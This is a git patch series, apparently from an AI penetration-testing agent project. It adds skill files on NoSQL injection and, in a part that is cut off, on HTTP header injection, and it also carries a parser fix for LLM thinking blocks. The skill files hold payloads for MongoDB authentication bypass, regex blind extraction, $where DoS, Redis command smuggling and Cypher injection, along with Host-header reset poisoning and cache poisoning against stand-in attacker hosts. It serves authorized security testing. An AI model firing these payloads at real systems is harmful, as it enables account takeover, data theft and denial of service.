From 6da7315aa3d1ce638ecb3cbdcf0f35532fdc79e9 Mon Sep 17 00:00:00 2001 From: Sandiyo Christan <55909152+sandiyochristan@users.noreply.github.com> Date: Mon, 4 May 2026 04:19:43 +0530 Subject: [PATCH 01/10] feat: add NoSQL injection skill (#404) Co-authored-by: 0xallam --- .../vulnerabilities/nosql_injection.jinja | 266 ---------------- .../skills/vulnerabilities/nosql_injection.md | 288 ++++++++++++++++++ 2 files changed, 288 insertions(+), 266 deletions(-) delete mode 100644 strix/prompts/vulnerabilities/nosql_injection.jinja create mode 100644 strix/skills/vulnerabilities/nosql_injection.md diff --git a/strix/prompts/vulnerabilities/nosql_injection.jinja b/strix/prompts/vulnerabilities/nosql_injection.jinja deleted file mode 100644 index 2cc99f5..0000000 --- a/strix/prompts/vulnerabilities/nosql_injection.jinja +++ /dev/null @@ -1,266 +0,0 @@ - -NoSQL INJECTION - -NoSQL injection exploits vulnerabilities in non-relational databases (MongoDB, CouchDB, Redis, Cassandra, etc.) where user input manipulates query logic, operators, or JavaScript execution contexts. Unlike SQL injection, NoSQL attacks often target JSON/BSON structures, query operators, and server-side JavaScript evaluation. Treat every user-controlled input destined for NoSQL queries as untrusted. - - -- Document stores: MongoDB, CouchDB, Couchbase, Amazon DocumentDB -- Key-value stores: Redis, DynamoDB, Memcached -- Wide-column stores: Cassandra, HBase, ScyllaDB -- Graph databases: Neo4j, ArangoDB, Amazon Neptune -- Integration paths: ODMs (Mongoose, Morphia), REST APIs, GraphQL resolvers, serverless functions - - - -1. Identify NoSQL database type from error messages, response patterns, headers, or technology fingerprinting. -2. Determine input format: JSON body, query string, URL path, headers; note how input is parsed and merged into queries. -3. Test operator injection: inject MongoDB operators ($ne, $gt, $regex, $where) or database-specific syntax to alter query logic. -4. Establish extraction channel: boolean-based response diffs, timing via $where/JavaScript, regex-based character extraction, or error messages. -5. Pivot to authentication bypass, data exfiltration, or JavaScript execution depending on database capabilities. - - - -- JSON body parameters: direct object/operator injection via nested objects or arrays -- Query string: array notation (?username[$ne]=) or JSON-encoded values -- URL path segments: document IDs, collection names in RESTful APIs -- Headers/cookies: session data parsed as JSON, JWT claims used in queries -- GraphQL variables: unvalidated input passed directly to resolvers -- Aggregation pipelines: $match, $lookup, $group stages with user-controlled fields - - - -- Operator-based: inject query operators to modify predicate logic; test $gt/$gte/$lt/$lte/$ne/$eq/$in/$nin and $or/$and/$nor -- Boolean-based: compare true/false predicates; diff status codes, body length, specific content; use $regex for extraction -- Timing-based: use $where sleep payloads when server-side JavaScript is enabled; use heavy regex operations for ReDoS-style delays -- Error-based: provoke type errors, invalid operator errors, or JavaScript runtime exceptions; inspect verbose errors - - - - -- Operators for injection: $ne, $gt, $lt, $gte, $lte, $in, $nin, $or, $and, $regex, $where, $exists, $type -- JavaScript execution: $where clause accepts JavaScript; $function in aggregations (MongoDB 4.4+) -- Version/info: db.version(), db.serverStatus(), db.hostInfo() -- Authentication bypass: {% raw %}{"username": {"$ne": ""}, "password": {"$ne": ""}}{% endraw %} -- Regex extraction: {% raw %}{"password": {"$regex": "^a.*"}}{% endraw %} iterate to extract full value -- $where JavaScript: {% raw %}{"$where": "this.username == 'admin' && this.password.match(/^a/)"}{% endraw %} -- Aggregation injection: $lookup to access other collections, $out to write results - - - -- View injection via map/reduce functions (JavaScript execution) -- Mango queries: operator injection similar to MongoDB ($eq, $ne, $gt, $regex, etc.) -- _all_docs, _find endpoints with selector manipulation -- Design document manipulation for persistent code execution - - - -- Command injection via protocol manipulation in poorly sanitized inputs -- Lua script injection: EVAL command with user-controlled scripts -- Key enumeration: KEYS *, SCAN with patterns -- Data exfiltration: GET, HGETALL, LRANGE, SMEMBERS -- Config manipulation: CONFIG SET to modify runtime behavior -- File write via RDB: CONFIG SET dir/dbfilename + SAVE (requires privileges) - - - -- CQL injection: similar to SQL, string concatenation in WHERE clauses -- ALLOW FILTERING abuse for unauthorized data access -- UDF (User Defined Functions) if enabled: Java/JavaScript code execution - - - -- Cypher injection: MATCH, WHERE, RETURN clause manipulation -- APOC procedures: apoc.load.json, apoc.cypher.run for extended capabilities -- Label/relationship injection to access unauthorized graph nodes - - - - - -- Basic bypass: {% raw %}{"username": "admin", "password": {"$ne": ""}}{% endraw %} -- Always true: {% raw %}{"username": {"$gt": ""}, "password": {"$gt": ""}}{% endraw %} -- Regex wildcard: {% raw %}{"username": "admin", "password": {"$regex": ".*"}}{% endraw %} -- $or injection: {% raw %}{"$or": [{"username": "admin"}, {"admin": true}], "password": {"$ne": ""}}{% endraw %} -- Type coercion: {% raw %}{"username": "admin", "password": {"$type": 2}}{% endraw %} (type 2 = string) - - - -- Array notation: ?username=admin&password[$ne]=wrongpass -- Nested operators: ?user[username]=admin&user[password][$gt]= -- URL-encoded JSON: ?filter=%7B%22username%22%3A%7B%22%24ne%22%3Anull%7D%7D - - - - - -- Character-by-character: iterate {% raw %}{"field": {"$regex": "^X"}}{% endraw %} for each position -- Binary search: use character ranges [a-m] vs [n-z] to reduce requests -- Case sensitivity: use $options: "i" for case-insensitive matching -- Special chars: escape regex metacharacters (. * + ? ^ $ { } [ ] \ | ( )) - - - -- Use $regex or $where to create true/false conditions -- Diff response length, status code, specific strings, or timing -- Extract field names via $exists: {% raw %}{"unknownField": {"$exists": true}}{% endraw %} - - - -- $where with conditional: {% raw %}{"$where": "if(this.password[0]=='a'){sleep(5000)}"}{% endraw %} -- Access Object.keys(): {% raw %}{"$where": "Object.keys(this)[0][0]=='u'"}{% endraw %} to enumerate fields -- String operations: substring, charAt for positional extraction - - - -- $lookup to join with other collections and leak data -- $match with injected operators -- $project to select fields, $group to aggregate sensitive data - - - - - -- MongoDB $where executes JavaScript on the server; requires server-side JavaScript enabled (often disabled via --noscripting/security.javascriptEnabled) -- Basic: {% raw %}{"$where": "1==1"}{% endraw %} or {% raw %}{"$where": "true"}{% endraw %} -- Sleep for timing: {% raw %}{"$where": "sleep(5000) || true"}{% endraw %} -- Data access: {% raw %}{"$where": "this.password.length > 5"}{% endraw %} -- External calls (if allowed): {% raw %}{"$where": "this.constructor.constructor('return fetch(...)')()"}{% endraw %} - - - -- MongoDB 4.4+ $function in aggregation: {% raw %}{"$function": {"body": "function(){...}", "args": [], "lang": "js"}}{% endraw %} -- Server-side JavaScript must be enabled (not disabled via --noscripting) - - - -- Inject into map/reduce functions if user input reaches these contexts -- CouchDB views: JavaScript in map functions - - - - - -- Dangerous patterns: find(req.body), findOne(req.query) without sanitization -- $where passthrough: user input reaching $where conditions -- Population/reference injection: manipulating $lookup-like operations -- Schema bypass: __proto__, constructor pollution via JSON parsing - - - -- String concatenation in filters instead of parameterized queries -- Criteria API misuse with raw strings - - - -- eval() usage with user input (deprecated but still dangerous) -- find() with unsanitized dictionaries from JSON input -- Codec manipulation affecting serialization - - - - - -- URL encoding: %24ne instead of $ne -- Double encoding: %2524ne -- Unicode normalization: using different Unicode representations -- JSON unicode escapes: \u0024ne for $ne - - - -- $not instead of $ne: {% raw %}{"field": {"$not": {"$eq": "value"}}}{% endraw %} -- $nin instead of $ne: {% raw %}{"field": {"$nin": ["wrong"]}}{% endraw %} -- $expr with $eq/$ne in aggregation context - - - -- Nested objects vs flat: {% raw %}{"a.b": "c"}{% endraw %} vs {% raw %}{"a": {"b": "c"}}{% endraw %} -- Array injection: ["$or", ...] in systems parsing arrays as operators -- Prototype pollution: __proto__, constructor.prototype in JSON - - - -- MongoDB shell: // or /* */ in JavaScript contexts -- Newline injection in string concatenation scenarios - - - - - -- Use $regex with character ranges: ^[a-m] vs ^[n-z] -- Reduce character space: alphanumeric, then specific ranges -- Position tracking: ^known_prefix[a-m] for next character - - - -- $where with conditional sleep: {% raw %}if(condition){sleep(N)}{% endraw %} -- ReDoS via pathological regex: ((a+)+)$ with long input -- Heavy operations: sorting large datasets conditionally - - - -- Track: status codes (200/401/403/500), body length, specific strings, JSON structure -- Normalize responses (hash/length) to reduce noise -- Account for caching and rate limiting affecting responses - - - - - -- Server-Side JavaScript (SSJS) when $where, $function, mapReduce are exposed -- Potential for: DoS (infinite loops), data access, limited RCE depending on config -- Check: {% raw %}db.adminCommand({getParameter: 1, javascriptEnabled: 1}){% endraw %} - - - -- ReDoS: {% raw %}{"field": {"$regex": "^(a+)+$"}}{% endraw %} against long strings -- Resource exhaustion: large $in arrays, complex aggregations -- Infinite loops in $where if SSJS is enabled without timeouts - - - - -- Variables passed directly to MongoDB queries: {% raw %}query { user(filter: $input) }{% endraw %} -- Operator injection via GraphQL variables: {% raw %}{"filter": {"password": {"$ne": ""}}}{% endraw %} -- Batching attacks: multiple queries to enumerate data -- Introspection combined with injection for schema-aware attacks - - - -1. Demonstrate operator injection alters query behavior (auth bypass, extra data returned). -2. Show boolean/timing/error oracle confirms control over query predicates. -3. Extract verifiable data: version info, field names, partial sensitive values. -4. Provide minimal reproducible requests with clear injection points. -5. Document database type and version; defenses vary significantly across NoSQL systems. - - - -- Strong typing/schema validation rejecting operator objects -- ODM sanitization stripping $ prefixes from keys -- Parameterized queries where operators cannot be injected -- WAF blocking all $ operators (verify with encoding bypasses first) -- Application logic unrelated to database predicates causing response variations - - - -- Authentication and authorization bypass via manipulated query predicates -- Mass data exfiltration through regex extraction or aggregation manipulation -- Server-side JavaScript execution leading to DoS or limited RCE -- Privilege escalation by modifying user roles/permissions in database -- Denial of service via ReDoS or resource-intensive queries - - - -1. Start with $ne and $gt operators—they're most commonly injectable and easy to detect. -2. Use boolean oracles first; timing channels are noisier and slower. -3. For MongoDB, always test both JSON body and query string injection vectors. -4. $regex is powerful for extraction but escape special characters properly. -5. Check if SSJS is enabled before investing time in $where payloads. -6. Aggregation pipelines often have weaker validation than simple find() queries. -7. GraphQL + MongoDB is a common vulnerable combination; test variable injection. -8. Monitor for ReDoS potential—useful for both detection and responsible DoS impact assessment. -9. ODMs don't guarantee safety; audit raw query patterns and merge operations. -10. Different NoSQL databases have vastly different capabilities; tailor payloads to the target. - - -NoSQL injection succeeds where applications trust user input structure, not just values. Validate that input types match expectations, strip or reject query operators from user data, and use ODM features that enforce schemas. The absence of SQL syntax does not mean the absence of injection risk. - diff --git a/strix/skills/vulnerabilities/nosql_injection.md b/strix/skills/vulnerabilities/nosql_injection.md new file mode 100644 index 0000000..dda478f --- /dev/null +++ b/strix/skills/vulnerabilities/nosql_injection.md @@ -0,0 +1,288 @@ +--- +name: nosql-injection +description: NoSQL injection testing covering MongoDB operator injection, authentication bypass, blind extraction, GraphQL variable injection, and Redis/DynamoDB/Elasticsearch/Neo4j-specific attack surfaces +--- + +# NoSQL Injection + +NoSQL injection exploits the mismatch between how applications pass user input to database queries and how the database engine interprets that input. Unlike SQL injection, NoSQL injection frequently involves operator injection (e.g., MongoDB's `$gt`, `$regex`, `$where`) or structure injection (embedding JSON sub-documents). The attack surface is broad: MongoDB is the dominant target, but Redis, Elasticsearch, DynamoDB, Cassandra, CouchDB, and Neo4j each have distinct injection surfaces. GraphQL resolvers passing variables directly into a backing NoSQL filter are a frequent cross-cutting vector. + +## Attack Surface + +**Input shapes that reach query filters** +- JSON body parameters parsed straight into query objects +- Form fields with bracket notation (`field[$ne]=`) coerced into operator objects by Express, PHP, and similar middleware +- URL-encoded JSON in query strings, headers, and cookies +- GraphQL variables passed directly into resolver-level NoSQL filters + +**Code patterns that enable injection** +- Raw filter dicts/objects from user input handed to `find`/`findOne`/`aggregate` +- String concatenation into Cypher / CQL / Redis commands instead of the driver's parameterized form +- ODM passthrough: Mongoose `{strict: false}`, Morphia raw `where()`, PyMongo `find()` with unsanitized JSON dicts (legacy `eval()` is fatal) +- Server-side JavaScript surfaces: `$where`, `$function`, `$accumulator`, CouchDB `_design` views + +**Stores in scope** +MongoDB (primary), Redis, Elasticsearch, DynamoDB, Cassandra, CouchDB, Neo4j. Couchbase / DocumentDB / HBase / ScyllaDB / Memcached follow the same operator-injection or command-smuggling models — DocumentDB in particular accepts MongoDB payloads unchanged. + +## High-Value Targets + +- Login and authentication endpoints (username/password fields) +- Search and filter APIs (catalog, user search, admin lookup) +- Password reset and token lookup flows +- Admin queries filtering by role, plan, or privilege fields +- Endpoints accepting raw JSON objects as query parameters + +## Reconnaissance + +### Content-Type and Input Shape + +- Identify endpoints accepting `application/json` — these can receive operator objects directly +- Identify endpoints accepting `application/x-www-form-urlencoded` — bracket notation `username[$ne]=x` maps to `{username: {$ne: 'x'}}` in many frameworks (Express `body-parser`, PHP) +- Determine whether the backend uses Mongoose, native MongoDB driver, or a REST ODM wrapper + +### Error Fingerprinting + +- Send malformed JSON: `{"username": {"$gt": ""}}` +- Send bracket notation in form data: `username[$gt]=` +- Look for MongoDB error messages: `MongoError`, `CastError`, `ValidationError` +- Stack traces revealing collection names, field names, driver version + +### Operator Probe + +Test whether operators pass through to the database: +```json +{"username": {"$gt": ""}, "password": {"$gt": ""}} +``` +If authentication succeeds or response differs, operator injection is confirmed. + +## Key Vulnerabilities + +### MongoDB Authentication Bypass + +The classic operator injection against login queries of the form `db.users.findOne({username: input.username, password: input.password})`: + +**JSON body injection:** +```json +{"username": {"$ne": null}, "password": {"$ne": null}} +``` +Matches the first document where both fields are non-null — typically the first user/admin. + +**Form body (bracket notation):** +``` +username[$ne]=invalid&password[$ne]=invalid +``` + +**Variations:** +```json +{"username": "admin", "password": {"$gt": ""}} +{"username": {"$regex": ".*"}, "password": {"$gt": ""}} +{"username": {"$in": ["admin", "administrator", "root"]}, "password": {"$gt": ""}} +``` + +### Blind Data Extraction via `$regex` + +When the query result is not directly reflected but observable (boolean response, redirect, timing), extract field values character by character using `$regex`: +```json +{"username": "admin", "password": {"$regex": "^a"}} +{"username": "admin", "password": {"$regex": "^b"}} +... +``` +Binary search the character space to minimize requests. Works on any string field (token, reset code, API key). + +### `$where` JavaScript Injection + +If `$where` operator is enabled (disabled by default in MongoDB 7.0+; MongoDB 4.4–6.x deprecated it but left `javascriptEnabled` defaulting to `true`), inject arbitrary server-side JavaScript: +```json +{"$where": "function(){return this.role == 'admin'}"} // direct filter — returns matching documents +{"$where": "function(){return this.username == 'admin' && sleep(2000)}"} // timing oracle only — sleep() returns undefined (falsy), so no documents are returned; observe latency +``` +`sleep()` is available in older MongoDB for blind extraction via response-time differential. + +### `$function` and `$accumulator` (MongoDB 4.4+) + +Server-side JavaScript in aggregations. `$function` must live inside an expression context — `$expr`, `$project`, `$addFields`, etc. — not as a top-level filter: +```json +{"$expr": {"$function": {"body": "function(doc){return doc.role == 'admin'}", "args": ["$$ROOT"], "lang": "js"}}} +``` +Gated by the same `javascriptEnabled` parameter as `$where`, but reachable through aggregation endpoints — useful when `$where` is filtered at the query layer but aggregation pipelines remain user-influenceable. + +### Aggregation Pipeline Injection + +`$match`, `$lookup`, and `$project` stages accept the same operator payloads as `find()`. User-controlled `$lookup.from` is the highest-impact variant — it can pivot the query to a different collection (e.g., from `orders` into `users`) and exfiltrate cross-tenant data. + +### Redis Command Injection + +When Redis commands are constructed by string concatenation: +```python +redis.execute_command(f"SET {user_key} {value}") +``` +Inject newline characters (`\r\n`) to inject additional Redis commands (RESP protocol injection): +``` +key\r\nSET backdoor attacker_controlled\r\nSET dummy +``` + +### Elasticsearch Query String Injection + +`query_string` and `simple_query_string` accept Lucene syntax. User input flowing directly: +``` +q=normal+search → normal results +q=* → all documents +q=role:admin → filter by field +q=_exists_:password_hash → existence probe +``` + +For Painless script injection via `_update`: +```json +{"script": {"source": "ctx._source.role = params.r", "params": {"r": "admin"}}} +``` +If the `source` field is user-controlled, inject arbitrary Painless. + +### DynamoDB FilterExpression Injection + +PartiQL injection allows expansion of intended queries: +```sql +-- Intended: +SELECT * FROM Users WHERE username = 'input' + +-- Injected: +SELECT * FROM Users WHERE username = 'x' OR '1'='1 +``` + +### Cassandra CQL Injection + +CQL is SQL-shaped, so injection follows the SQL pattern when input is concatenated instead of bound via `session.prepare()`: + +``` +username: ' OR '1'='1' ALLOW FILTERING -- +username: 'x' OR token(username) > token('a') ALLOW FILTERING -- +``` + +No `SLEEP` or OOB primitive natively — detection is boolean/error-based only. + +### CouchDB Mango and View Injection + +Mango selectors on `_find` accept operator payloads in the same shape as MongoDB: +```json +POST /db/_find { "selector": {"username": "admin", "password": {"$gt": ""}} } +POST /db/_find { "selector": {"role": {"$regex": "^admin"}} } +``` + +`_design` document injection — if user input flows into a design doc's `views..map`, the JavaScript runs server-side in the Couch sandbox on every view query: +```json +{"views": {"x": {"map": "function(doc){ emit(doc._id, doc) }"}}} +``` + +Also probe `_all_docs?include_docs=true` for unscoped enumeration and check for admin-party misconfigurations (`_users/_all_docs` reachable without auth) before payload work. + +### Neo4j Cypher Injection + +When user input is concatenated into Cypher rather than passed as a parameter (`$param`): +```python +# Vulnerable +session.run(f"MATCH (u:User {{name: '{name}'}}) RETURN u") + +# Injected: name = x'}) RETURN u UNION MATCH (u:User) RETURN u // +``` + +**APOC abuse** (when `apoc.*` procedures are enabled via `dbms.security.procedures.unrestricted`): +- `CALL apoc.load.json('http://attacker/x')` — SSRF and external data fetch +- `CALL apoc.cypher.run("...", {})` — dynamic query execution from a string +- `CALL dbms.security.listUsers()` — user enumeration on misconfigured Community Edition + +### GraphQL Variable Injection + +Resolvers passing variables straight into a backing NoSQL filter are a common chained vector: +```graphql +query Login($input: UserFilter!) { + user(filter: $input) { id role } +} +``` +With `$input` reaching `db.users.findOne(input)`, send: +```json +{"input": {"username": "admin", "password": {"$ne": ""}}} +``` +Use introspection (`__schema`, `__type`) to enumerate which input types accept arbitrary objects — those are the operator-injection candidates. + +### Server-Side JavaScript Detection and DoS + +Fingerprint SSJS state before investing in `$where` / `$function` payloads: +```javascript +db.adminCommand({getParameter: 1, javascriptEnabled: 1}) +``` + +DoS surface (use only with explicit authorization scope): +- **ReDoS**: `{"field": {"$regex": "^(a+)+$"}}` against long values triggers catastrophic backtracking +- **Large `$in` arrays**: thousands of values force linear scans on unindexed fields +- **Infinite `$where` loops**: `{"$where": "while(true){}"}` if SSJS is enabled without query timeouts +- **Heavy aggregations**: chained `$lookup` across large unindexed collections + +## Bypass Techniques + +**Type Coercion** +- Send operators as arrays: `{"$gt": [""]}` — some drivers coerce arrays +- Mix string and object types in the same request to trigger parser branches + +**Encoding** +- URL-encode brackets: `username%5B%24ne%5D=x` → `username[$ne]=x` +- Double-encode for WAFs sitting in front of JSON-parsing backends + +**Operator Alternatives** +- `$nin` (not in), `$exists: false`, `$type` — alternative operators that reach the same result when `$ne` is filtered +- `$not` wrapping another operator: `{"field": {"$not": {"$eq": "value"}}}` +- `$expr` with `$ne` for complex comparisons: `{"$expr": {"$ne": ["$password", "wrong"]}}` + +**Structure Manipulation** +- Dotted-key vs nested object: `{"a.b": "c"}` vs `{"a": {"b": "c"}}` — sanitizers often strip one form but pass the other +- Array vs object operator wrapping: some parsers treat `["$or", ...]` as operator arrays +- Prototype pollution: `__proto__` and `constructor.prototype` keys in JSON bodies polluting Object prototypes consumed downstream by query builders +- `$regex` case-insensitive flag (`"$options": "i"`) widens matches that case-sensitive filters miss + +## Testing Methodology + +1. **Identify query-receiving endpoints** — login, search, filter, lookup +2. **Determine input format** — JSON body vs form fields vs URL params +3. **Send error-probing payloads** — malformed operator objects; watch for MongoDB/driver errors +4. **Attempt operator injection** — `$ne`, `$gt`, `$regex` against login endpoint +5. **Confirm boolean oracle** — response, status, redirect differs between true/false predicates +6. **Extract data blindly** — character-by-character `$regex` on sensitive fields (token, reset code) +7. **Test `$where`** — if older MongoDB version detected, attempt JavaScript sleep-based timing +8. **Probe aggregation endpoints** — inject operators into `filter`/`match`/`sort` fields +9. **Test non-MongoDB stores** — Elasticsearch `query_string`, Redis command construction, DynamoDB PartiQL, CouchDB Mango selectors, Neo4j Cypher concatenation, Cassandra CQL +10. **Test GraphQL resolvers** — submit operator objects via variables on any input type that reaches a NoSQL filter; use `__schema` introspection to enumerate candidates + +## Validation + +1. Demonstrate authentication bypass: send operator payload, confirm login succeeds for any/first account +2. Extract a verifiable secret (password hash, reset token, API key) via `$regex` blind extraction +3. Show at least two distinct operator payloads working to rule out coincidence +4. Provide before/after: normal request returns 401, injected request returns 200 +5. For `$where`: show timing differential with/without `sleep()` + +## False Positives + +- Framework-level query builder that casts input to string before constructing the query (Mongoose `strict` mode on) +- Input sanitization stripping operator keys before they reach the driver +- Endpoints that accept JSON but cast the `password` field to string — operator object becomes `[object Object]` +- Response differences caused by validation errors, not actual operator execution + +## Impact + +- Authentication bypass granting access to arbitrary or all accounts +- Full extraction of sensitive fields (tokens, hashed passwords, PII) via blind regex enumeration +- Privilege escalation by querying admin/superuser records directly +- Data exfiltration at scale via widened `$ne`/`$regex`/`$gt` filters +- Server-side JavaScript execution via `$where` on unpatched MongoDB instances + +## Pro Tips + +1. Always try both JSON body (`{"field": {"$ne": null}}`) and bracket-notation form (`field[$ne]=`) — different middleware handles them differently +2. Target reset token and API key fields with `$regex` extraction, not just passwords +3. Check MongoDB version via error messages or `/admin/serverStatus`; `$where` is active by default on pre-7.0 instances — that includes 4.4–6.x targets where `javascriptEnabled` was deprecated but not yet disabled, making them still exploitable unless explicitly hardened +4. For Elasticsearch, try `_cat/indices`, `_mapping`, and `_search` with `query_string: *` before attempting script injection +5. Combine authentication bypass with a second request to `/admin` or `/api/users` to escalate impact +6. Automate `$regex` extraction with binary search: 7 requests per character vs 94 with linear search +7. GraphQL resolvers are an underexplored entry point — try operator objects in any input type that reaches a NoSQL filter, and use introspection to find candidate fields + +## Summary + +NoSQL injection exploits the same root cause as SQL injection — user input controlling query structure — but through operator embedding rather than syntax breaking. MongoDB is the primary target; enforce schema validation, use parameterized equivalents (strict mode, typed schemas), and never pass raw user input as a query object. From a75ad2960e80dc9a17475e897eccdb20db5ae01f Mon Sep 17 00:00:00 2001 From: Dr Alex Mitre Date: Sun, 3 May 2026 17:12:37 -0600 Subject: [PATCH 02/10] fix: MiniMax tool call normalization and thinking block handling (#458) Co-authored-by: 0xallam --- strix/llm/llm.py | 23 ++++++++++++++++++++--- strix/llm/utils.py | 7 ++++++- 2 files changed, 26 insertions(+), 4 deletions(-) diff --git a/strix/llm/llm.py b/strix/llm/llm.py index 5e6a01f..c3f07ff 100644 --- a/strix/llm/llm.py +++ b/strix/llm/llm.py @@ -1,4 +1,5 @@ import asyncio +import re from collections.abc import AsyncIterator from dataclasses import dataclass from typing import Any @@ -25,6 +26,19 @@ from strix.utils.resource_paths import get_strix_resource_path litellm.drop_params = True litellm.modify_params = True +_THINKING_BLOCK_RE = re.compile(r"]*>.*?", re.DOTALL) +_THINKING_BLOCK_OR_OPEN_RE = re.compile(r"]*>.*?(?:|\Z)", re.DOTALL) + + +def _find_end_tag_outside_thinking(content: str, end_tag: str) -> int: + thinking_spans = [(m.start(), m.end()) for m in _THINKING_BLOCK_OR_OPEN_RE.finditer(content)] + start = 0 + while (idx := content.find(end_tag, start)) != -1: + if not any(s <= idx < e for s, e in thinking_spans): + return idx + start = idx + 1 + return -1 + class LLMRequestFailedError(Exception): def __init__(self, message: str, details: str | None = None): @@ -197,9 +211,10 @@ class LLM: delta = self._get_chunk_content(chunk) if delta: accumulated += delta - if "" in accumulated or "" in accumulated: - end_tag = "" if "" in accumulated else "" - pos = accumulated.find(end_tag) + check_content = _THINKING_BLOCK_OR_OPEN_RE.sub("", accumulated) + if "" in check_content or "" in check_content: + end_tag = "" if "" in check_content else "" + pos = _find_end_tag_outside_thinking(accumulated, end_tag) accumulated = accumulated[: pos + len(end_tag)] yield LLMResponse(content=accumulated) done_streaming = 1 @@ -209,8 +224,10 @@ class LLM: if chunks: self._update_usage_stats(stream_chunk_builder(chunks)) + accumulated = _THINKING_BLOCK_RE.sub("", accumulated) accumulated = normalize_tool_format(accumulated) accumulated = fix_incomplete_tool_call(_truncate_to_first_function(accumulated)) + yield LLMResponse( content=accumulated, tool_invocations=parse_tool_invocations(accumulated), diff --git a/strix/llm/utils.py b/strix/llm/utils.py index 9771854..0f56bed 100644 --- a/strix/llm/utils.py +++ b/strix/llm/utils.py @@ -20,7 +20,12 @@ def normalize_tool_format(content: str) -> str: """ - if "poisoned HTTP/1.1 +``` + +Request smuggling is the same primitive at the request layer: inject a header that causes the proxy and backend to disagree on message framing — most commonly conflicting `Content-Length` and `Transfer-Encoding`, or two `Content-Length` headers with different values. Backend reads one request, frontend reads a different one; the leftover bytes become a smuggled request prepended to the next victim's connection. + +### Cache Poisoning + +- **Unkeyed input → keyed response**: input that influences the response body but not the cache key (an `X-Forwarded-Host` echoed in a link, an unkeyed query parameter reflected in HTML) +- **`Vary` manipulation**: inject a `Vary` header to over-fragment the cache (DoS-flavored) or under-fragment it (cross-user serving) +- **`X-Forwarded-Proto` / `X-Forwarded-Host` poisoning**: backend uses these to build canonical URLs in the response; CDN caches the response with attacker-controlled links +- **`Cache-Control` injection**: flip `private` to `public` (or vice versa) to change cache eligibility; inject `max-age=999999` for persistent poisoning, or `max-age=0` / `no-cache` to flush — `Age` is generated by the cache itself and isn't a freshness control, don't bother with it +- **Web cache deception**: trick the cache into storing an authenticated response at a public-looking URL (`/account/profile.css`) by appending a cacheable extension + +### Host Header Confusion + +Backends often trust `Host` (or `X-Forwarded-Host`) when constructing absolute URLs — password reset emails, OAuth `redirect_uri`, canonical link tags. Sending a forged Host produces a reset link pointing at attacker-controlled infrastructure that still carries the victim's reset token. + +``` +POST /password-reset HTTP/1.1 +Host: attacker.tld +``` + +Also test: precedence between `Host` and `X-Forwarded-Host`, IPv6 bracketing (`Host: [::1]:80`), trailing dot (`Host: example.com.`), and port confusion (`Host: example.com:@attacker.tld`). + +### Cookie / Set-Cookie Manipulation + +- Inject `Domain=.example.com` or `Path=/` to widen scope of an attacker-set cookie +- Inject `SameSite=None; Secure` to allow cross-site inclusion +- Inject `Max-Age=999999999` for persistence, or `Max-Age=-1` to nuke the victim's session +- Inject a cookie with the same name as a real session cookie — precedence rules let a same-domain attacker shadow it (cookie tossing) +- Reflected cookie XSS: if a cookie value is later rendered unescaped in HTML, the injection point is the header but the sink is the page + +### Proxy and Forwarding Header Spoofing + +The `X-Forwarded-*` family is informational — there is no protocol guarantee about who set them. Any application that trusts them past the boundary it controls is exploitable. + +- `X-Forwarded-For: 127.0.0.1` to bypass IP allowlists or rate limits keyed on client IP +- `X-Forwarded-Proto: https` to satisfy "HTTPS-only" checks while still using HTTP +- `X-Forwarded-Host: attacker.tld` for the Host-confusion variants above +- `X-Real-IP`, `Client-IP`, `True-Client-IP`, `CF-Connecting-IP`, `Forwarded` (RFC 7239) — same primitive, different header names; spray all of them +- `X-Original-URL` / `X-Rewrite-URL` (IIS, ASP.NET) — server-side URL rewriting after auth check, classic admin-panel auth bypass + +### Content-Type / Encoding Confusion + +- Inject `Content-Type: text/html` into an endpoint that returned JSON; browsers may sniff and render → XSS +- Inject `charset=utf-7` in `Content-Type` for legacy XSS via UTF-7-encoded payloads +- Inject `Content-Disposition: inline` to switch a download into in-page rendering +- Inject `Content-Encoding: gzip` without actually compressing — clients decode-fail and may reveal raw response bytes in error paths +- *Absence* of `X-Content-Type-Options: nosniff` is what enables the sniffing attacks above; the header is a hardening control, not an attack surface — but if a server sets it inconsistently across endpoints, target the ones that don't + +### XSS via Response Headers + +- `Location: javascript:alert(1)` if redirect target is reflected unescaped (browsers usually block, but some legacy clients and Electron-style hosts don't) +- `Location: data:text/html,` — same caveat +- `Refresh: 0; url=javascript:alert(1)` — the legacy `Refresh` header is a JavaScript-free meta-refresh equivalent +- Reflected request header XSS: `Referer` echoed into a custom error page, `User-Agent` echoed into a debug header — combine CRLF injection with a body-injection sink + +### Open Redirect via Headers + +- `Location` is the obvious one +- `Refresh: 0; url=https://attacker.tld` — bypasses some `Location`-only filters +- `Link: ; rel="canonical"` — usually informational but consumed by SEO tooling and some clients +- `X-Accel-Redirect: /internal/file` (Nginx) — if user input reaches this, internal-only files become accessible + +### HTTP/2 Pseudo-Header and Frame Confusion + +- HTTP/2 splits headers into pseudo-headers (`:method`, `:path`, `:authority`, `:scheme`) and regular fields. Servers downgrading to HTTP/1.1 sometimes mishandle pseudo-header values, enabling smuggling across the H2 → H1 boundary. +- HTTP/2 lowercases header names; an upstream H1 filter that's case-sensitive may miss a lowercase variant that the H2 backend then accepts. +- HEADERS / CONTINUATION frame splitting: payload spans frames, intermediaries differ on whether they reassemble before applying filters. + +## Bypass Techniques + +**Encoding** +- URL-encode (`%0d%0a`) and double-encode (`%250d%250a`) for WAFs that decode the wrong number of times +- Mix encodings within one payload: `%0d%0A`, `%0D\n`, alternating case +- Newline-equivalent Unicode: U+2028 / U+2029 (sometimes folded to LF), overlong UTF-8 of CR/LF + +**Header normalization edges** +- Leading / trailing whitespace and tabs in header names and values +- Header folding (obs-fold per RFC 7230 — formally obsolete, but some parsers still accept continuation lines starting with whitespace) +- Duplicate headers — RFC says join with `,`; in practice servers pick first, last, or differ from the proxy in front of them + +**Method and method-override** +- `X-HTTP-Method-Override: PUT` (and `X-Method-Override`, `X-HTTP-Method`) to reach state-changing handlers when the framework consults the override before applying method-based authorization +- Effective from server-side or non-browser clients (curl, internal tooling, server-to-server proxies); from a browser the header is non-safelisted and triggers a CORS preflight, so it isn't a CSRF primitive on its own + +**Header name games** +- Case mangling for filters that key off exact casing +- Null byte truncation in header name (`X-Forwarded-For\x00Evil`) on parsers that stop at NUL + +## Testing Methodology + +1. **Inventory varying headers** — enumerate every response header whose value moves with input +2. **Probe CR/LF normalization** — inject `%0d%0a` (and the encoding variants) into each varying header source; observe whether the second line lands as a real header +3. **Test Host / X-Forwarded-Host** — submit a password-reset or any link-generating flow with attacker-controlled Host; confirm the link in the response or follow-up email +4. **Probe forwarding headers** — spoof `X-Forwarded-For`, `X-Real-IP`, `True-Client-IP`, `CF-Connecting-IP` against IP-restricted 